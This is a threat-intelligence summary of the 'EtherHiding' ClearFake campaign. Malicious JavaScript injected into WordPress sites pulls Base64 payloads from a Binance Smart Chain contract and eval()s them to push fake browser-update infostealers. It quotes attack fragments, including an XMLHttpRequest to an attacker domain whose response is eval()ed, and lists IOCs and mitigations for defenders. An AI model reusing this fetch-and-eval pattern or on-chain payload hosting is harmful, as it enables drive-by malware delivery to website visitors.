“EtherHiding” — Hiding Web2 Malicious Code in Web3 Smart Contracts

Threat actors behind the “ClearFake” campaign have shifted from Cloudflare Workers to hosting malicious JavaScript payloads inside Binance Smart Chain (BSC) smart contracts, allowing read-only eth_call requests from compromised WordPress sites to retrieve and eval() obfuscated code. This “EtherHiding” technique makes second-stage payload updates immutable, anonymous, and difficult to takedown while continuing to deliver fake browser-update installers like RedLine, Amadey, and Lumma. #EtherHiding #ClearFake #RedLine #Amadey #Lumma #BinanceSmartChain

Keypoints

  • Compromised WordPress sites are injected with Base64-obfuscated JavaScript that includes ethers.js and a script which queries a BSC smart contract for payloads.
  • The injected code instantiates a contract at attacker-controlled address 0x7f36D9292e7c70A204faCC2d255475A861487c60, calls get(), decodes the returned string (atob), and eval()s it in the browser.
  • Malicious payloads are written to the contract storage via update() transactions, enabling attackers to change second-stage domains and code with low-cost on-chain transactions (small BNB gas fees).
  • Attack flow: WordPress compromise → on-page JS fetches contract via eth_call (read-only) → contract returns Base64 JS → eval() executes code that retrieves third-stage domains/IPs hosting the final payload (fake browser updates).
  • Because eth_call is a free, off-chain simulation, this retrieval leaves minimal on-chain traces and smart contracts cannot be removed, limiting takedown options beyond tagging on BscScan.
  • Observed IOCs include BSC addresses (e.g., 0x7f36D9…), third-stage domains (many rotating), a Russian-based IP 109.248.206.49, multiple malware hashes, and deceptive installer filenames using Unicode tricks.
  • Recommended mitigations focus on securing WordPress instances (patching, credential hygiene, plugin hardening) and monitoring for injected scripts and unusual outgoing RPC/json‑rpc calls to BSC nodes.

MITRE Techniques

  • [T1190] Exploit Public-Facing Application – WordPress sites were compromised via vulnerable plugins or outdated installs to inject malicious JS (‘attackers insert this code into the primary template of a WordPress site, often exploiting vulnerable plugins (e.g. Balada Injector), outdated WordPress versions, or using stolen site credentials acquired from the dark web.’)
  • [T1078] Valid Accounts – The campaign sometimes used stolen site credentials obtained from the dark web to gain access and modify site templates (‘using stolen site credentials acquired from the dark web.’)
  • [T1059.007] Command and Scripting Interpreter: JavaScript – Attackers deliver and execute JavaScript in victims’ browsers, decoding and evaluating payloads returned from the contract (‘eval(atob(link));’)
  • [T1105] Ingress Tool Transfer – The browser fetches a second-stage payload from attacker-controlled domains after retrieving the on-chain payload, enabling further payload delivery (‘let e = new XMLHttpRequest(); return e.open(“GET”, “https://921hapudyqwdvy[.]com/vvmd54/”, !1), e.send(null), e.responseText; eval(get_k_script());’)
  • [T1027] Obfuscated Files or Information – Payloads are Base64-obfuscated and later further obfuscated in-chain and in delivered JavaScript (‘The code above is just Base64 obfuscated, translated to the following being executed on every page loaded from the compromised site:’)
  • [T1071.001] Application Layer Protocol: Web Protocols – The injected code issues JSON-RPC eth_call requests to BSC RPC endpoints to read contract data (‘”method”: “eth_call”, “params”: [{“to”:”0x7f36d929…”,”data”:”0x6d4ce63c”}, “latest”]’)
  • [T1204.002] User Execution: Malicious File – The attack uses deceptive “browser update” prompts to trick users into executing downloaded installer files (Unicode-bearing names) that deploy infostealers like RedLine, Amadey, or Lumma (‘the fake “update” turns out to be vicious infostealer malware like RedLine, Amadey, or Lumma.’)

Indicators of Compromise

  • [BSC Address/Contract] attacker-controlled contract and funding addresses – 0x7f36D9292e7c70A204faCC2d255475A861487c60, 0xfc1fE66FB63c542A3e4D45305DaB196E5EcA222A
  • [IP Address] third-stage host – 109[.]248[.]206[.]49
  • [Domain] staging/third-stage payload hosts – 921hapudyqwdvy[.]com, 98ygdjhdvuhj[.]com, and 28 more rotating domains
  • [Compromised Sites] example WordPress victims – kprofiles[.]com, animexin[.]vip, and 510+ other detected domains (pastebin list)
  • [File Hashes] malware samples (infostealers) – d0c56875fb19a4…, 37bba90d20e4…, and 11 more hashes
  • [Filenames] deceptive installer names using Unicode mixing – ChrоmеSеtuр.exe, MlсrоsоftЕdgеSеtup.msi

Attack technical summary:

The attack begins with a WordPress compromise (via vulnerable plugins, outdated installs, or stolen credentials) that injects two script tags into page templates: one to load ethers.js and another Base64-encoded script. On page load the injected script creates an ethers provider pointed at a BSC RPC node (e.g., “https://bsc-dataseed1.binance.org/”), instantiates a Contract at an attacker-controlled address (0x7f36D9…), uses the supplied ABI to call get(), and then runs eval(atob(link)) on the returned Base64 string to execute a second-stage JavaScript payload directly in the victim’s browser.

That on-chain contract uses simple storage functions (update() and get()) to hold the payload string; attackers push JavaScript payloads into contract storage with low-cost transactions so the contract’s get() returns the up-to-date, obfuscated payload. The browser-side code retrieves this via a JSON-RPC eth_call (a free, read-only operation), decodes it, and often issues a synchronous XMLHttpRequest to a third-stage domain/IP (rotating daily) which hosts the final malicious installer or defacement logic (the fake browser update). Because the payload source is on-chain and eth_call does not write transactions, takedown is limited to tagging on explorers like BscScan rather than removing the content.

Detection and mitigation should focus on preventing initial WordPress compromises (timely patching, plugin hardening, credential protection, and monitoring for injected script tags and unusual outbound RPC/json-rpc calls to BSC endpoints), scanning for the listed IOCs, and blocking or sandboxing execution of unsolicited installer files that may be presented via “update” prompts.

Read more: https://medium.com/@guardiosecurity/etherhiding-hiding-web2-malicious-code-in-web3-smart-contracts-65ea78efad16?source=rss-6a038e71ff0f——2